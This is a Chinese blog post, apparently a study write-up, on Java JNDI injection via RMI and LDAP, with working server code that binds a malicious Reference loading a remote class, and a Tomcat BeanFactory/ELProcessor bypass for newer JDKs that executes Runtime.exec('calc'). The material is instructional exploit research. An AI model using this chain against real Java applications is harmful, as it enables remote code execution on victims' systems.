首页 > 编程语言 >java反序列化(五) JNDI注入

java反序列化(五) JNDI注入

时间:2023-04-24 20:22:33浏览次数:47  
标签:InitialContext java JNDI rmi new import naming 序列化 public

JNDI注入

前置知识

JNDI

JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以通过字符串来锁定一个对象

JNDI 支持的服务主要有以下几种:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

1682173076150

LDAP

LDAP目录以树状的层次结构来存储数据,目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。目录服务是由目录数据库和一套访问协议组成的系统。

LDAP轻量级目录访问协议是个计算机名词,并不是Java特有

然后LDAP有些参数,感觉稍微了解下就好了,知道后面连接LDAP服务器时带的几个参数啥意思就行

1682324346335

JNDI+RMI

普通的RMI

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    public String sayHello(String keywords) throws RemoteException;

}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
    public RemoteObjImpl() throws RemoteException{
        super();
    }

    @Override
    public String sayHello(String keywords){
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteObj",remoteObj);

    }
}

与JNDI结合

import javax.naming.InitialContext;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());// 创建远程对象然后绑定到上下文
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");// 通过字符串查找对象
        System.out.println(remoteObj.sayHello("hello"));
    }
}

实际运行效果和我们之前的RMI是一样的,JNDI里最终调用的还是RMI里的lookup,RMI里的攻击方法也适用

1682222638176

这里探讨下JNDI的攻击方法,上面代码将远程对象绑定到RMI服务,如果绑定的是一个含有恶意类的Reference,就可以在查询时触发恶意类的恶意代码。应用思路是伪造恶意服务端,通过控制客户端lookup的字符串来触发恶意代码

1682227915985

恶意类,编译下然后在.class目录里起个服务

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
 python -m http.server 8848

恶意服务端

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
//        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());// 创建远程对象然后绑定到上下文
        Reference reference = new Reference("Test","Test","http://localhost:8848");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);
    }
}

1682228058960

简单理解下原理,客户端lookup之后找到服务端指定的Reference,接着进一步寻找Reference中的类,但并不能在本地找到,于是通过URLClassLoader远程获取到Reference中包含的类,在本地实例化从而触发代码

1682262393756

JNDI+LDAP

RMI和COBRA的方式很快就被修复了,但LDAP还多活了一阵

1682239128510

https://directory.apache.org/studio/downloads.html下载apache做的可视化LDAP服务器页面,这玩意jdk18一直起不了服务器,换了jdk11才正常

1682250520496

1682250596889

1682256962589

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDILDAPServer {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Test", "Test", "http://localhost:8848");
        initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);// 默认的ldap端口,cn等参数也都用的默认

    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
    }
}

先起LDAP服务器,在Test.class目录起个8848端口的服务,然后运行JNDILDAPServer绑定,最后运行JNDILDAPClient弹计算器

1682259826745

原理类似RMI,算是修复中的漏网之鱼。流程中可以看到攻击仅依赖于jdk版本,甚至不需要依赖任何库,很方便

高版版本绕过

1682239260791

当然LDAP最终难逃一死,更高的版本中添加了过滤,阻止通过URLClassLoader远程找到指定的factory(前面的RMI也是这么被过滤的)

8u65

1682261356925

11.0.19

1682261318125

TRUST_URL_CODE_BASE默认为false

1682261284358

在这之前客户端lookup查找reference、尝试获取reference的factory的流程是没有变化的,那如果reference中的恶意factory可以直接在本地找到,无需远程获取就不会被过滤

基于本地BeanFactory

The target class should have a public no-argument constructor and public setters with only one “String” parameter. In fact, these setters may not necessarily start from ‘set..’ as “BeanFactory” contains some logic surrounding how we can specify an arbitrary setter name for any parameter.

最基础的是找BeanFactory这个factroy

BeanFactory可以创建任意bean的实例并调用其setter方法,这个BeanFactory有一个奇怪的表现,他会读取ref对象中的forceString属性,如果这个属性的值为a=b,那么BeanFactory就会把函数b当做a属性的setter

具体原理我讲不太清,直接抄其他师傅的话,总之后面跟下流程就理解了

看网上说是老版本的tomcat没有自带el这个包,需要自己引入

		<dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.0.28</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.0.28</version>
        </dependency>

由于RMI和LDAP的修复方式差不多,所以这个绕过的方法同时适用于RMI和LDAP。RMIServer、JNDIRMIServer、JNDIRMCient都跑起来就成功弹出计算器了

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.Reference;
import javax.naming.StringRefAddr;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));// 通过ELProcessor.eval执行命令
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", resourceRef);
    }
}

跟一下流程,在经历了一大堆rmi的东西后,客户端开始在RegistryContext.lookup的decodeObject中解析reference

1682327165654

在获知工厂类型为BeanFactory后调用BeanFactory.getObjectInstance1682327530190

1682327569424

至此进入BeanFactory,首先要求引用类型为Resourceref(正如之前在服务端绑定的),接着获取一个ELProcessor

1682327978856

在对addrs中的其他参数之前,Beanfactory优先处理forceString属性,然后以等号为分割将等号前后的值存入HashMap forced

1682328572603

1682337332692

接着获取addrs中的其他信息,由于属性名不是scopeforceStringauthsingleton,最后的x(Runtime.getRuntime().exec(\"calc\"))不会进入if,此时propName为x

1682335555885

1682335521460

最后反射调用ELProcessor的forced[propName]方法,即ELProcessor.eval(),执行命令Runtime.getRuntime().exec("calc")

1682335411143

总结

对工厂factory理解不够

之后再补其他饶过

参考

https://blog.z3ratu1.cn/Java RMI反序列化与JNDI注入入门.html

更多高版本绕过

https://tttang.com/archive/1405/

https://tttang.com/archive/1489/

标签:InitialContext,java,JNDI,rmi,new,import,naming,序列化,public
From: https://www.cnblogs.com/carama1/p/17350759.html

相关文章

  • Java-基础篇【数组、方法、面向对象基础.】
    1:数组引用类型,不是基本数据类型2:静态初始化数组111 ......
  • Java中缓存区的基本使用
    前言缓存区是一种内存空间,在计算机程序中被广泛使用来优化I/O操作的效率。在文件I/O操作中,缓存区用于缓存将要写入磁盘或读取到内存中的数据。这样可减少对磁盘的访问次数,提高I/O操作的效率。本文将介绍缓存区的基本使用以及一些注意点,并提供一个实例来演示如何将一个jpg图片复制......
  • java执行linux语句
    publicclassCommandUtil{/***在指定路径下执行一条命令,不能执行cd之类的命令**@paramcommand要执行的Linux命令*@paramdir目标路径,在该路径执行上述Linux命令*@return命令执行后显示的结果*@throwsIOException*/......
  • Java中Runnable和Callable的区别 Runnable接口
    Callable接口从Java1.0开始,它是java.lang包的一部分从Java1.5开始,它是java.util.concurrent包的一部分。Runnable接口不能返回计算的结果。Callable接口可以返回一个任务的并行处理的结果。Runnable接口不能抛出一个有检查的异常。Callable接口可以抛出一个有检查的异常。......
  • java反序列化(五) JNDI注入
    JNDI注入前置知识JNDIJNDI(JavaNamingandDirectoryInterface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以通过字符串来锁定一个对象JNDI支持的服务主要有以下几种:RMI(JAVA远程方法调用)LDAP(轻量级目录访问协......
  • Java中null和“”的区别
    null和空字符串('')虽然都是没有任何内容,但是null却输出空指针异常,因为堆内存中根本就没有这个东西。他们的区别可相当大,虽然都是没有信息,但是null代表堆内存中根本没有这个东西,这个对象不存在,怎么执行indexof操作?空字符串虽然没有信息,但是是有内存空间的,所以null与空字符串主要......
  • springboot mybatis 动态调用oracle存储过程,通过存储过程名称,就能动态调用存储过程、j
    由于在开发业务时,可能同时调用的存储过程不知道参数,但是参数从界面、或已经存储在数据库的获取,所以就不希望手动写存储过程的参数,通过简化的调用。能不能写个动态的业务,只输入存储过程名称,自动获取存储过程参数,并且参数的数据从前台传递过来,这个就通用了。只写一个通用方法,就可以......
  • Java 依赖注入(DI)
    只要做过Java一段时间,基本上都会遇到这个问题。DependencyInjection(DI)中文称之为依赖注入。都说了Spring的关键部分就是DependencyInjection(DI),但是什么是依赖,为什么要注入,基本上没怎么找到使用简单文字说明的本文尝试用土话把这个问题说明白。这里有2个概念,依赖和注入。......
  • java -- 注解
    注解注解概述定义:注解(Annotation),也叫元数据。一种代码级别的说明。它是JDK1.5及以后版本引入的一个特性,与类、接口、枚举是在同一个层次。它可以声明在包、类、字段、方法、局部变量、方法参数等的前面,用来对这些元素进行说明,注释。作用分类:编写文档:通过代码里标识的注解生成......
  • Java
    HashSetcontainsaddStack+emptypeekpoppush(add)sizeHashMapvalueOf(value)get(key),put(key,value),isEmpty()containsKey(key)containsValue(value)remove(key)cnt.merge(x,1,Integer::sum);QueueQueueq=newLinkedList<>();Priorit......